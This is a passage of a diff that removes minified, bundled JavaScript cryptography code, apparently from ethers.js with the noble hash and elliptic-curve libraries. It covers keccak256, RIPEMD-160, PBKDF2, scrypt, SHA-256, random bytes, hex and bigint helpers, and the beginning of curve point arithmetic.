this.writeInto(t2), this.destroy(), t2; - } - digest() { - return this.digestInto(new Uint8Array(this.outputLen)); - } - destroy() { - this.destroyed = true, this.state.fill(0); - } - _cloneInto(t2) { - const { blockLen: e2, suffix: r4, outputLen: n2, rounds: A2, enableXOF: i2 } = this; - return t2 || (t2 = new _Zi(e2, r4, n2, i2, A2)), t2.state32.set(this.state32), t2.pos = this.pos, t2.posOut = this.posOut, t2.finished = this.finished, t2.rounds = A2, t2.suffix = r4, t2.outputLen = n2, t2.enableXOF = i2, t2.destroyed = this.destroyed, t2; - } - }; - var $i = ((t2, e2, r4) => Ai(() => new Zi(e2, t2, r4)))(1, 136, 32); - var to = false; - var eo = function(t2) { - return $i(t2); - }; - var ro = eo; - function no(t2) { - const e2 = Sn(t2, "data"); - return Pn(ro(e2)); - } - no._ = eo, no.lock = function() { - to = true; - }, no.register = function(t2) { - if (to) - throw new TypeError("keccak256 is locked"); - ro = t2; - }, Object.freeze(no); - var Ao = new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]); - var io = Uint8Array.from({ length: 16 }, (t2, e2) => e2); - var oo = [io]; - var so = [io.map((t2) => (9 * t2 + 5) % 16)]; - for (let t2 = 0; t2 < 4; t2++) - for (let e2 of [oo, so]) - e2.push(e2[t2].map((t3) => Ao[t3])); - var ao = [[11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5]].map((t2) => new Uint8Array(t2)); - var co = oo.map((t2, e2) => t2.map((t3) => ao[e2][t3])); - var ho = so.map((t2, e2) => t2.map((t3) => ao[e2][t3])); - var go = new Uint32Array([0, 1518500249, 1859775393, 2400959708, 2840853838]); - var uo = new Uint32Array([1352829926, 1548603684, 1836072691, 2053994217, 0]); - var lo = (t2, e2) => t2 << e2 | t2 >>> 32 - e2; - function fo(t2, e2, r4, n2) { - return 0 === t2 ? e2 ^ r4 ^ n2 : 1 === t2 ? e2 & r4 | ~e2 & n2 : 2 === t2 ? (e2 | ~r4) ^ n2 : 3 === t2 ? e2 & n2 | r4 & ~n2 : e2 ^ (r4 | ~n2); - } - var po = new Uint32Array(16); - var Io = class extends hi { - constructor() { - super(64, 20, 8, true), this.h0 = 1732584193, this.h1 = -271733879, this.h2 = -1732584194, this.h3 = 271733878, this.h4 = -1009589776; - } - get() { - const { h0: t2, h1: e2, h2: r4, h3: n2, h4: A2 } = this; - return [t2, e2, r4, n2, A2]; - } - set(t2, e2, r4, n2, A2) { - this.h0 = 0 | t2, this.h1 = 0 | e2, this.h2 = 0 | r4, this.h3 = 0 | n2, this.h4 = 0 | A2; - } - process(t2, e2) { - for (let r5 = 0; r5 < 16; r5++, e2 += 4) - po[r5] = t2.getUint32(e2, true); - let r4 = 0 | this.h0, n2 = r4, A2 = 0 | this.h1, i2 = A2, o2 = 0 | this.h2, s2 = o2, a2 = 0 | this.h3, c2 = a2, h2 = 0 | this.h4, g2 = h2; - for (let t3 = 0; t3 < 5; t3++) { - const e3 = 4 - t3, u2 = go[t3], l2 = uo[t3], f2 = oo[t3], p2 = so[t3], d2 = co[t3], I2 = ho[t3]; - for (let e4 = 0; e4 < 16; e4++) { - const n3 = lo(r4 + fo(t3, A2, o2, a2) + po[f2[e4]] + u2, d2[e4]) + h2 | 0; - r4 = h2, h2 = a2, a2 = 0 | lo(o2, 10), o2 = A2, A2 = n3; - } - for (let t4 = 0; t4 < 16; t4++) { - const r5 = lo(n2 + fo(e3, i2, s2, c2) + po[p2[t4]] + l2, I2[t4]) + g2 | 0; - n2 = g2, g2 = c2, c2 = 0 | lo(s2, 10), s2 = i2, i2 = r5; - } - } - this.set(this.h1 + o2 + c2 | 0, this.h2 + a2 + g2 | 0, this.h3 + h2 + n2 | 0, this.h4 + r4 + i2 | 0, this.h0 + A2 + s2 | 0); - } - roundClean() { - po.fill(0); - } - destroy() { - this.destroyed = true, this.buffer.fill(0), this.set(0, 0, 0, 0, 0); - } - }; - var yo = Ai(() => new Io()); - var Co = false; - var mo = function(t2) { - return yo(t2); - }; - var Bo = mo; - function Eo(t2) { - const e2 = Sn(t2, "data"); - return Pn(Bo(e2)); - } - Eo._ = mo, Eo.lock = function() { - Co = true; - }, Eo.register = function(t2) { - if (Co) - throw new TypeError("ripemd160 is locked"); - Bo = t2; - }, Object.freeze(Eo); - var wo = false; - var vo = function(t2, e2, r4, n2, A2) { - return function(t3, e3, r5, n3, A3) { - const i2 = { sha256: Ii, sha512: Mi }[A3]; - return vn(null != i2, "invalid pbkdf2 algorithm", "algorithm", A3), ci(i2, t3, e3, { c: r5, dkLen: n3 }); - }(t2, e2, r4, n2, A2); - }; - var _o = vo; - function Qo(t2, e2, r4, n2, A2) { - const i2 = Sn(t2, "password"), o2 = Sn(e2, "salt"); - return Pn(_o(i2, o2, r4, n2, A2)); - } - Qo._ = vo, Qo.lock = function() { - wo = true; - }, Qo.register = function(t2) { - if (wo) - throw new Error("pbkdf2 is locked"); - _o = t2; - }, Object.freeze(Qo); - var bo = false; - var ko = function(t2) { - return new Uint8Array(function(t3) { - wn(null != Fi, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", { operation: "randomBytes" }), vn(Number.isInteger(t3) && t3 > 0 && t3 <= 1024, "invalid length", "length", t3); - const e2 = new Uint8Array(t3); - return Fi.getRandomValues(e2), e2; - }(t2)); - }; - var Do = ko; - function So(t2) { - return Do(t2); - } - So._ = ko, So.lock = function() { - bo = true; - }, So.register = function(t2) { - if (bo) - throw new Error("randomBytes is locked"); - Do = t2; - }, Object.freeze(So); - var No = (t2, e2) => t2 << e2 | t2 >>> 32 - e2; - function Mo(t2, e2, r4, n2, A2, i2) { - let o2 = t2[e2++] ^ r4[n2++], s2 = t2[e2++] ^ r4[n2++], a2 = t2[e2++] ^ r4[n2++], c2 = t2[e2++] ^ r4[n2++], h2 = t2[e2++] ^ r4[n2++], g2 = t2[e2++] ^ r4[n2++], u2 = t2[e2++] ^ r4[n2++], l2 = t2[e2++] ^ r4[n2++], f2 = t2[e2++] ^ r4[n2++], p2 = t2[e2++] ^ r4[n2++], d2 = t2[e2++] ^ r4[n2++], I2 = t2[e2++] ^ r4[n2++], y2 = t2[e2++] ^ r4[n2++], C2 = t2[e2++] ^ r4[n2++], m2 = t2[e2++] ^ r4[n2++], B2 = t2[e2++] ^ r4[n2++], E2 = o2, w2 = s2, v2 = a2, _2 = c2, Q2 = h2, b2 = g2, k2 = u2, D2 = l2, S2 = f2, N3 = p2, M2 = d2, x2 = I2, F2 = y2, P2 = C2, T2 = m2, R2 = B2; - for (let t3 = 0; t3 < 8; t3 += 2) - Q2 ^= No(E2 + F2 | 0, 7), S2 ^= No(Q2 + E2 | 0, 9), F2 ^= No(S2 + Q2 | 0, 13), E2 ^= No(F2 + S2 | 0, 18), N3 ^= No(b2 + w2 | 0, 7), P2 ^= No(N3 + b2 | 0, 9), w2 ^= No(P2 + N3 | 0, 13), b2 ^= No(w2 + P2 | 0, 18), T2 ^= No(M2 + k2 | 0, 7), v2 ^= No(T2 + M2 | 0, 9), k2 ^= No(v2 + T2 | 0, 13), M2 ^= No(k2 + v2 | 0, 18), _2 ^= No(R2 + x2 | 0, 7), D2 ^= No(_2 + R2 | 0, 9), x2 ^= No(D2 + _2 | 0, 13), R2 ^= No(x2 + D2 | 0, 18), w2 ^= No(E2 + _2 | 0, 7), v2 ^= No(w2 + E2 | 0, 9), _2 ^= No(v2 + w2 | 0, 13), E2 ^= No(_2 + v2 | 0, 18), k2 ^= No(b2 + Q2 | 0, 7), D2 ^= No(k2 + b2 | 0, 9), Q2 ^= No(D2 + k2 | 0, 13), b2 ^= No(Q2 + D2 | 0, 18), x2 ^= No(M2 + N3 | 0, 7), S2 ^= No(x2 + M2 | 0, 9), N3 ^= No(S2 + x2 | 0, 13), M2 ^= No(N3 + S2 | 0, 18), F2 ^= No(R2 + T2 | 0, 7), P2 ^= No(F2 + R2 | 0, 9), T2 ^= No(P2 + F2 | 0, 13), R2 ^= No(T2 + P2 | 0, 18); - A2[i2++] = o2 + E2 | 0, A2[i2++] = s2 + w2 | 0, A2[i2++] = a2 + v2 | 0, A2[i2++] = c2 + _2 | 0, A2[i2++] = h2 + Q2 | 0, A2[i2++] = g2 + b2 | 0, A2[i2++] = u2 + k2 | 0, A2[i2++] = l2 + D2 | 0, A2[i2++] = f2 + S2 | 0, A2[i2++] = p2 + N3 | 0, A2[i2++] = d2 + M2 | 0, A2[i2++] = I2 + x2 | 0, A2[i2++] = y2 + F2 | 0, A2[i2++] = C2 + P2 | 0, A2[i2++] = m2 + T2 | 0, A2[i2++] = B2 + R2 | 0; - } - function xo(t2, e2, r4, n2, A2) { - let i2 = n2 + 0, o2 = n2 + 16 * A2; - for (let n3 = 0; n3 < 16; n3++) - r4[o2 + n3] = t2[e2 + 16 * (2 * A2 - 1) + n3]; - for (let n3 = 0; n3 < A2; n3++, i2 += 16, e2 += 16) - Mo(r4, o2, t2, e2, r4, i2), n3 > 0 && (o2 += 16), Mo(r4, i2, t2, e2 += 16, r4, o2); - } - function Fo(t2, e2, r4) { - const n2 = ni({ dkLen: 32, asyncTick: 10, maxmem: 1073742848 }, r4), { N: A2, r: i2, p: o2, dkLen: s2, asyncTick: a2, maxmem: c2, onProgress: h2 } = n2; - if (OA(A2), OA(i2), OA(o2), OA(s2), OA(a2), OA(c2), void 0 !== h2 && "function" != typeof h2) - throw new Error("progressCb should be function"); - const g2 = 128 * i2, u2 = g2 / 4; - if (A2 <= 1 || A2 & A2 - 1 || A2 >= 2 ** (g2 / 8) || A2 > 2 ** 32) - throw new Error("Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32"); - if (o2 < 0 || o2 > 137438953440 / g2) - throw new Error("Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)"); - if (s2 < 0 || s2 > 137438953440) - throw new Error("Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32"); - const l2 = g2 * (A2 + o2); - if (l2 > c2) - throw new Error(`Scrypt: parameters too large, ${l2} (128 * r * (N + p)) > ${c2} (maxmem)`); - const f2 = ci(Ii, t2, e2, { c: 1, dkLen: g2 * o2 }), p2 = XA(f2), d2 = XA(new Uint8Array(g2 * A2)), I2 = XA(new Uint8Array(g2)); - let y2 = () => { - }; - if (h2) { - const t3 = 2 * A2 * o2, e3 = Math.max(Math.floor(t3 / 1e4), 1); - let r5 = 0; - y2 = () => { - r5++, !h2 || r5 % e3 && r5 !== t3 || h2(r5 / t3); - }; - } - return { N: A2, r: i2, p: o2, dkLen: s2, blockSize32: u2, V: d2, B32: p2, B: f2, tmp: I2, blockMixCb: y2, asyncTick: a2 }; - } - function Po(t2, e2, r4, n2, A2) { - const i2 = ci(Ii, t2, r4, { c: 1, dkLen: e2 }); - return r4.fill(0), n2.fill(0), A2.fill(0), i2; - } - var To = false; - var Ro = false; - var Uo = async function(t2, e2, r4, n2, A2, i2, o2) { - return await async function(t3, e3, r5) { - const { N: n3, r: A3, p: i3, dkLen: o3, blockSize32: s2, V: a2, B32: c2, B: h2, tmp: g2, blockMixCb: u2, asyncTick: l2 } = Fo(t3, e3, r5); - for (let t4 = 0; t4 < i3; t4++) { - const e4 = s2 * t4; - for (let t5 = 0; t5 < s2; t5++) - a2[t5] = c2[e4 + t5]; - let r6 = 0; - await $A(n3 - 1, l2, () => { - xo(a2, r6, a2, r6 += s2, A3), u2(); - }), xo(a2, (n3 - 1) * s2, c2, e4, A3), u2(), await $A(n3, l2, () => { - const t5 = c2[e4 + s2 - 16] % n3; - for (let r7 = 0; r7 < s2; r7++) - g2[r7] = c2[e4 + r7] ^ a2[t5 * s2 + r7]; - xo(g2, 0, c2, e4, A3), u2(); - }); - } - return Po(t3, o3, h2, a2, g2); - }(t2, e2, { N: r4, r: n2, p: A2, dkLen: i2, onProgress: o2 }); - }; - var Go = function(t2, e2, r4, n2, A2, i2) { - return function(t3, e3, r5) { - const { N: n3, r: A3, p: i3, dkLen: o2, blockSize32: s2, V: a2, B32: c2, B: h2, tmp: g2, blockMixCb: u2 } = Fo(t3, e3, r5); - for (let t4 = 0; t4 < i3; t4++) { - const e4 = s2 * t4; - for (let t5 = 0; t5 < s2; t5++) - a2[t5] = c2[e4 + t5]; - for (let t5 = 0, e5 = 0; t5 < n3 - 1; t5++) - xo(a2, e5, a2, e5 += s2, A3), u2(); - xo(a2, (n3 - 1) * s2, c2, e4, A3), u2(); - for (let t5 = 0; t5 < n3; t5++) { - const t6 = c2[e4 + s2 - 16] % n3; - for (let r6 = 0; r6 < s2; r6++) - g2[r6] = c2[e4 + r6] ^ a2[t6 * s2 + r6]; - xo(g2, 0, c2, e4, A3), u2(); - } - } - return Po(t3, o2, h2, a2, g2); - }(t2, e2, { N: r4, r: n2, p: A2, dkLen: i2 }); - }; - var Ho = Uo; - var Lo = Go; - async function Oo(t2, e2, r4, n2, A2, i2, o2) { - const s2 = Sn(t2, "passwd"), a2 = Sn(e2, "salt"); - return Pn(await Ho(s2, a2, r4, n2, A2, i2, o2)); - } - function Yo(t2, e2, r4, n2, A2, i2) { - const o2 = Sn(t2, "passwd"), s2 = Sn(e2, "salt"); - return Pn(Lo(o2, s2, r4, n2, A2, i2)); - } - Oo._ = Uo, Oo.lock = function() { - Ro = true; - }, Oo.register = function(t2) { - if (Ro) - throw new Error("scrypt is locked"); - Ho = t2; - }, Object.freeze(Oo), Yo._ = Go, Yo.lock = function() { - To = true; - }, Yo.register = function(t2) { - if (To) - throw new Error("scryptSync is locked"); - Lo = t2; - }, Object.freeze(Yo); - var Ko = function(t2) { - return function(t3) { - switch (t3) { - case "sha256": - return Ii.create(); - case "sha512": - return Mi.create(); - } - vn(false, "invalid hashing algorithm name", "algorithm", t3); - }("sha256").update(t2).digest(); - }; - var Jo = Ko; - var jo = false; - function zo(t2) { - const e2 = Sn(t2, "data"); - return Pn(Jo(e2)); - } - zo._ = Ko, zo.lock = function() { - jo = true; - }, zo.register = function(t2) { - if (jo) - throw new Error("sha256 is locked"); - Jo = t2; - }, Object.freeze(zo), Object.freeze(zo); - var qo = BigInt(0); - var Xo = BigInt(1); - var Vo = BigInt(2); - var Wo = (t2) => t2 instanceof Uint8Array; - var Zo = Array.from({ length: 256 }, (t2, e2) => e2.toString(16).padStart(2, "0")); - function $o(t2) { - if (!Wo(t2)) - throw new Error("Uint8Array expected"); - let e2 = ""; - for (let r4 = 0; r4 < t2.length; r4++) - e2 += Zo[t2[r4]]; - return e2; - } - function ts(t2) { - const e2 = t2.toString(16); - return 1 & e2.length ? `0${e2}` : e2; - } - function es(t2) { - if ("string" != typeof t2) - throw new Error("hex string expected, got " + typeof t2); - return BigInt("" === t2 ? "0" : `0x${t2}`); - } - function rs(t2) { - if ("string" != typeof t2) - throw new Error("hex string expected, got " + typeof t2); - const e2 = t2.length; - if (e2 % 2) - throw new Error("padded hex string expected, got unpadded hex of length " + e2); - const r4 = new Uint8Array(e2 / 2); - for (let e3 = 0; e3 < r4.length; e3++) { - const n2 = 2 * e3, A2 = t2.slice(n2, n2 + 2), i2 = Number.parseInt(A2, 16); - if (Number.isNaN(i2) || i2 < 0) - throw new Error("Invalid byte sequence"); - r4[e3] = i2; - } - return r4; - } - function ns(t2) { - return es($o(t2)); - } - function As(t2) { - if (!Wo(t2)) - throw new Error("Uint8Array expected"); - return es($o(Uint8Array.from(t2).reverse())); - } - function is(t2, e2) { - return rs(t2.toString(16).padStart(2 * e2, "0")); - } - function os(t2, e2) { - return is(t2, e2).reverse(); - } - function ss(t2, e2, r4) { - let n2; - if ("string" == typeof e2) - try { - n2 = rs(e2); - } catch (r5) { - throw new Error(`${t2} must be valid hex string, got "${e2}". Cause: ${r5}`); - } - else { - if (!Wo(e2)) - throw new Error(`${t2} must be hex string or Uint8Array`); - n2 = Uint8Array.from(e2); - } - const A2 = n2.length; - if ("number" == typeof r4 && A2 !== r4) - throw new Error(`${t2} expected ${r4} bytes, got ${A2}`); - return n2; - } - function as(...t2) { - const e2 = new Uint8Array(t2.reduce((t3, e3) => t3 + e3.length, 0)); - let r4 = 0; - return t2.forEach((t3) => { - if (!Wo(t3)) - throw new Error("Uint8Array expected"); - e2.set(t3, r4), r4 += t3.length; - }), e2; - } - var cs = (t2) => (Vo << BigInt(t2 - 1)) - Xo; - var hs = (t2) => new Uint8Array(t2); - var gs = (t2) => Uint8Array.from(t2); - function us(t2, e2, r4) { - if ("number" != typeof t2 || t2 < 2) - throw new Error("hashLen must be a number"); - if ("number" != typeof e2 || e2 < 2) - throw new Error("qByteLen must be a number"); - if ("function" != typeof r4) - throw new Error("hmacFn must be a function"); - let n2 = hs(t2), A2 = hs(t2), i2 = 0; - const o2 = () => { - n2.fill(1), A2.fill(0), i2 = 0; - }, s2 = (...t3) => r4(A2, n2, ...t3), a2 = (t3 = hs()) => { - A2 = s2(gs([0]), t3), n2 = s2(), 0 !== t3.length && (A2 = s2(gs([1]), t3), n2 = s2()); - }, c2 = () => { - if (i2++ >= 1e3) - throw new Error("drbg: tried 1000 values"); - let t3 = 0; - const r5 = []; - for (; t3 < e2; ) { - n2 = s2(); - const e3 = n2.slice(); - r5.push(e3), t3 += n2.length; - } - return as(...r5); - }; - return (t3, e3) => { - let r5; - for (o2(), a2(t3); !(r5 = e3(c2())); ) - a2(); - return o2(), r5; - }; - } - var ls = { bigint: (t2) => "bigint" == typeof t2, function: (t2) => "function" == typeof t2, boolean: (t2) => "boolean" == typeof t2, string: (t2) => "string" == typeof t2, stringOrUint8Array: (t2) => "string" == typeof t2 || t2 instanceof Uint8Array, isSafeInteger: (t2) => Number.isSafeInteger(t2), array: (t2) => Array.isArray(t2), field: (t2, e2) => e2.Fp.isValid(t2), hash: (t2) => "function" == typeof t2 && Number.isSafeInteger(t2.outputLen) }; - function fs(t2, e2, r4 = {}) { - const n2 = (e3, r5, n3) => { - const A2 = ls[r5]; - if ("function" != typeof A2) - throw new Error(`Invalid validator "${r5}", expected function`); - const i2 = t2[e3]; - if (!(n3 && void 0 === i2 || A2(i2, t2))) - throw new Error(`Invalid param ${String(e3)}=${i2} (${typeof i2}), expected ${r5}`); - }; - for (const [t3, r5] of Object.entries(e2)) - n2(t3, r5, false); - for (const [t3, e3] of Object.entries(r4)) - n2(t3, e3, true); - return t2; - } - var ps = Object.freeze({ __proto__: null, bitGet: function(t2, e2) { - return t2 >> BigInt(e2) & Xo; - }, bitLen: function(t2) { - let e2; - for (e2 = 0; t2 > qo; t2 >>= Xo, e2 += 1) - ; - return e2; - }, bitMask: cs, bitSet: (t2, e2, r4) => t2 | (r4 ? Xo : qo) << BigInt(e2), bytesToHex: $o, bytesToNumberBE: ns, bytesToNumberLE: As, concatBytes: as, createHmacDrbg: us, ensureBytes: ss, equalBytes: function(t2, e2) { - if (t2.length !== e2.length) - return false; - for (let r4 = 0; r4 < t2.length; r4++) - if (t2[r4] !== e2[r4]) - return false; - return true; - }, hexToBytes: rs, hexToNumber: es, numberToBytesBE: is, numberToBytesLE: os, numberToHexUnpadded: ts, numberToVarBytesBE: function(t2) { - return rs(ts(t2)); - }, utf8ToBytes: function(t2) { - if ("string" != typeof t2) - throw new Error("utf8ToBytes expected string, got " + typeof t2); - return new Uint8Array(new TextEncoder().encode(t2)); - }, validateObject: fs }); - var ds = BigInt(0); - var Is = BigInt(1); - var ys = BigInt(2); - var Cs = BigInt(3); - var ms = BigInt(4); - var Bs = BigInt(5); - var Es = BigInt(8); - function ws(t2, e2) { - const r4 = t2 % e2; - return r4 >= ds ? r4 : e2 + r4; - } - function vs(t2, e2, r4) { - if (r4 <= ds || e2 < ds) - throw new Error("Expected power/modulo > 0"); - if (r4 === Is) - return ds; - let n2 = Is; - for (; e2 > ds; ) - e2 & Is && (n2 = n2 * t2 % r4), t2 = t2 * t2 % r4, e2 >>= Is; - return n2; - } - function _s(t2, e2, r4) { - let n2 = t2; - for (; e2-- > ds; ) - n2 *= n2, n2 %= r4; - return n2; - } - function Qs(t2, e2) { - if (t2 === ds || e2 <= ds) - throw new Error(`invert: expected positive integers, got n=${t2} mod=${e2}`); - let r4 = ws(t2, e2), n2 = e2, A2 = ds, i2 = Is; - for (; r4 !== ds; ) { - const t3 = n2 % r4, e3 = A2 - i2 * (n2 / r4); - n2 = r4, r4 = t3, A2 = i2, i2 = e3; - } - if (n2 !== Is) - throw new Error("invert: does not exist"); - return ws(A2, e2); - } - function bs(t2) { - if (t2 % ms === Cs) { - const e2 = (t2 + Is) / ms; - return function(t3, r4) { - const n2 = t3.pow(r4, e2); - if (!t3.eql(t3.sqr(n2), r4)) - throw new Error("Cannot find square root"); - return n2; - }; - } - if (t2 % Es === Bs) { - const e2 = (t2 - Bs) / Es; - return function(t3, r4) { - const n2 = t3.mul(r4, ys), A2 = t3.pow(n2, e2), i2 = t3.mul(r4, A2), o2 = t3.mul(t3.mul(i2, ys), A2), s2 = t3.mul(i2, t3.sub(o2, t3.ONE)); - if (!t3.eql(t3.sqr(s2), r4)) - throw new Error("Cannot find square root"); - return s2; - }; - } - return function(t3) { - const e2 = (t3 - Is) / ys; - let r4, n2, A2; - for (r4 = t3 - Is, n2 = 0; r4 % ys === ds; r4 /= ys, n2++) - ; - for (A2 = ys; A2 < t3 && vs(A2, e2, t3) !== t3 - Is; A2++) - ; - if (1 === n2) { - const e3 = (t3 + Is) / ms; - return function(t4, r5) { - const n3 = t4.pow(r5, e3); - if (!t4.eql(t4.sqr(n3), r5)) - throw new Error("Cannot find square root"); - return n3; - }; - } - const i2 = (r4 + Is) / ys; - return function(t4, o2) { - if (t4.pow(o2, e2) === t4.neg(t4.ONE)) - throw new Error("Cannot find square root"); - let s2 = n2, a2 = t4.pow(t4.mul(t4.ONE, A2), r4), c2 = t4.pow(o2, i2), h2 = t4.pow(o2, r4); - for (; !t4.eql(h2, t4.ONE); ) { - if (t4.eql(h2, t4.ZERO)) - return t4.ZERO; - let e3 = 1; - for (let r6 = t4.sqr(h2); e3 < s2 && !t4.eql(r6, t4.ONE); e3++) - r6 = t4.sqr(r6); - const r5 = t4.pow(a2, Is << BigInt(s2 - e3 - 1)); - a2 = t4.sqr(r5), c2 = t4.mul(c2, r5), h2 = t4.mul(h2, a2), s2 = e3; - } - return c2; - }; - }(t2); - } - BigInt(9), BigInt(16); - var ks = ["create", "isValid", "is0", "neg", "inv", "sqrt", "sqr", "eql", "add", "sub", "mul", "pow", "div", "addN", "subN", "mulN", "sqrN"]; - function Ds(t2, e2) { - const r4 = void 0 !== e2 ? e2 : t2.toString(2).length; - return { nBitLength: r4, nByteLength: Math.ceil(r4 / 8) }; - } - function Ss(t2) { - if ("bigint" != typeof t2) - throw new Error("field order must be bigint"); - const e2 = t2.toString(2).length; - return Math.ceil(e2 / 8); - } - function Ns(t2) { - const e2 = Ss(t2); - return e2 + Math.ceil(e2 / 2); - } - var Ms = BigInt(0); - var xs = BigInt(1); - function Fs(t2) { - return fs(t2.Fp, ks.reduce((t3, e2) => (t3[e2] = "function", t3), { ORDER: "bigint", MASK: "bigint", BYTES: "isSafeInteger", BITS: "isSafeInteger" })), fs(t2, { n: "bigint", h: "bigint", Gx: "field", Gy: "field" }, { nBitLength: "isSafeInteger", nByteLength: "isSafeInteger" }), Object.freeze({ ...Ds(t2.n, t2.nBitLength), ...t2, p: t2.Fp.ORDER }); - } - var { bytesToNumberBE: Ps, hexToBytes: Ts } = ps; - var Rs = { Err: class extends Error { - constructor(t2 = "") { - super(t2); - } - }, _parseInt(t2) { - const { Err: e2 } = Rs; - if (t2.length < 2 || 2 !== t2[0]) - throw new e2("Invalid signature integer tag"); - const r4 = t2[1], n2 = t2.subarray(2, r4 + 2); - if (!r4 || n2.length !== r4) - throw new e2("Invalid signature integer: wrong length"); - if (128 & n2[0]) - throw new e2("Invalid signature integer: negative"); - if (0 === n2[0] && !(128 & n2[1])) - throw new e2("Invalid signature integer: unnecessary leading zero"); - return { d: Ps(n2), l: t2.subarray(r4 + 2) }; - }, toSig(t2) { - const { Err: e2 } = Rs, r4 = "string" == typeof t2 ? Ts(t2) : t2; - if (!(r4 instanceof Uint8Array)) - throw new Error("ui8a expected"); - let n2 = r4.length; - if (n2 < 2 || 48 != r4[0]) - throw new e2("Invalid signature tag"); - if (r4[1] !== n2 - 2) - throw new e2("Invalid signature: incorrect length"); - const { d: A2, l: i2 } = Rs._parseInt(r4.subarray(2)), { d: o2, l: s2 } = Rs._parseInt(i2); - if (s2.length) - throw new e2("Invalid signature: left bytes after parsing"); - return { r: A2, s: o2 }; - }, hexFromSig(t2) { - const e2 = (t3) => 8 & Number.parseInt(t3[0], 16) ? "00" + t3 : t3, r4 = (t3) => { - const e3 = t3.toString(16); - return 1 & e3.length ? `0${e3}` : e3; - }, n2 = e2(r4(t2.s)), A2 = e2(r4(t2.r)), i2 = n2.length / 2, o2 = A2.length / 2, s2 = r4(i2), a2 = r4(o2); - return `30${r4(o2 + i2 + 4)}02${a2}${A2}02${s2}${n2}`; - } }; - var Us = BigInt(0); - var Gs = BigInt(1); - BigInt(2); - var Hs = BigInt(3); - function Ls(t2) { - const e2 = function(t3) { - const e3 = Fs(t3); - fs(e3, { a: "field", b: "field" }, { allowedPrivateKeyLengths: "array", wrapPrivateKey: "boolean", isTorsionFree: "function", clearCofactor: "function", allowInfinityPoint: "boolean", fromBytes: "function", toBytes: "function" }); - const { endo: r5, Fp: n3, a: A3 } = e3; - if (r5) { - if (!n3.eql(A3, n3.ZERO)) - throw new Error("Endomorphism can only be defined for Koblitz curves that have a=0"); - if ("object" != typeof r5 || "bigint" != typeof r5.beta || "function" != typeof r5.splitScalar) - throw new Error("Expected endomorphism with beta: bigint and splitScalar: function"); - } - return Object.freeze({ ...e3 }); - }(t2), { Fp: r4 } = e2, n2 = e2.toBytes || ((t3, e3, n3) => { - const A3 = e3.toAffine(); - return as(Uint8Array.from([4]), r4.toBytes(A3.x), r4.toBytes(A3.y)); - }), A2 = e2.fromBytes || ((t3) => { - const e3 = t3.subarray(1); - return { x: r4.fromBytes(e3.subarray(0, r4.BYTES)), y: r4.fromBytes(e3.subarray(r4.BYTES, 2 * r4.BYTES)) }; - }); - function i2(t3) { - const { a: n3, b: A3 } = e2, i3 = r4.sqr(t3), o3 = r4.mul(i3, t3); - return r4.add(r4.add(o3, r4.mul(t3, n3)), A3); - } - if (!r4.eql(r4.sqr(e2.Gy), i2(e2.Gx))) - throw new Error("bad generator point: equation left != right"); - function o2(t3) { - return "bigint" == typeof t3 && Us < t3 && t3 < e2.n; - } - function s2(t3) { - if (!o2(t3)) - throw new Error("Expected valid bigint: 0 < bigint < curve.n"); - } - function a2(t3) { - const { allowedPrivateKeyLengths: r5, nByteLength: n3, wrapPrivateKey: A3, n: i3 } = e2; - if (r5 && "bigint" != typeof t3) { - if (t3 instanceof Uint8Array && (t3 = $o(t3)), "string" != typeof t3 || !r5.includes(t3.length)) - throw new Error("Invalid key"); - t3 = t3.padStart(2 * n3, "0"); - } - let o3; - try { - o3 = "bigint" == typeof t3 ? t3 : ns(ss("private key", t3, n3)); - } catch (e3) { - throw new Error(`private key must be ${n3} bytes, hex or bigint, not ${typeof t3}`); - } - return A3 && (o3 = ws(o3, i3)), s2(o3), o3; - } - const c2 = /* @__PURE__ */ new Map(); - function h2(t3) { - if (!(t3 instanceof g2)) - throw new Error("ProjectivePoint expected"); - } - class g2 { - constructor(t3, e3, n3) { - if (this.px = t3, this.py = e3, this.pz = n3, null == t3 || !r4.isValid(t3)) - throw new Error("x required"); - if (null == e3 || !r4.isValid(e3)) - throw new Error("y required"); - if (null == n3 || !r4.isValid(n3)) - throw new Error("z required"); - } - static fromAffine(t3) { - const { x: e3, y: n3 } = t3 || {}; - if (!t3 || !r4.isValid(e3) || !r4.isValid(n3)) - throw new Error("invalid affine point"); - if (t3 instanceof g2) - throw new Error("projective point not allowed"); - const A3 = (t4) => r4.eql(t4, r4.ZERO); - return A3(e3) && A3(n3) ? g2.ZERO : new g2(e3, n3, r4.ONE); - } - get x() { - return this.toAffine().x; - } - get y() { - return this.toAffine().y; - } - static normalizeZ(t3) { - const e3 = r4.invertBatch(t3.map((t4) => t4.pz)); - return t3.map((t4, r5) => t4.toAffine(e3[r5])).map(g2.fromAffine); - } - static fromHex(t3) { - const e3 = g2.fromAffine(A2(ss("pointHex", t3))); - return e3.assertValidity(), e3; - } - static fromPrivateKey(t3) { - return g2.BASE.multiply(a2(t3)); - } - _setWindowSize(t3) { - this._WINDOW_SIZE = t3, c2.delete(this); - } - assertValidity() { - if (this.is0()) { - if (e2.allowInfinityPoint && !r4.is0(this.py)) - return; - throw new Error("bad point: ZERO"); - } - const { x: t3, y: n3 } = this.toAffine(); - if (!r4.isValid(t3) || !r4.isValid(n3)) - throw new Error("bad point: x or y not FE"); - const A3 = r4.sqr(n3), o3 = i2(t3); - if (!r4.eql(A3, o3)) - throw new Error("bad point: equation left != right"); - if (!this.isTorsionFree()) - throw new Error("bad point: not in prime-order subgroup"); - } - hasEvenY() { - const { y: t3 } = this.toAffine(); - if (r4.isOdd) - return !r4.isOdd(t3); - throw new Error("Field doesn't support isOdd"); - } - equals(t3) { - h2(t3); - const { px: e3, py: n3, pz: A3 } = this, { px: i3, py: o3, pz: s3 } = t3, a3 = r4.eql(r4.mul(e3, s3), r4.mul(i3, A3)), c3 = r4.eql(r4.mul(n3, 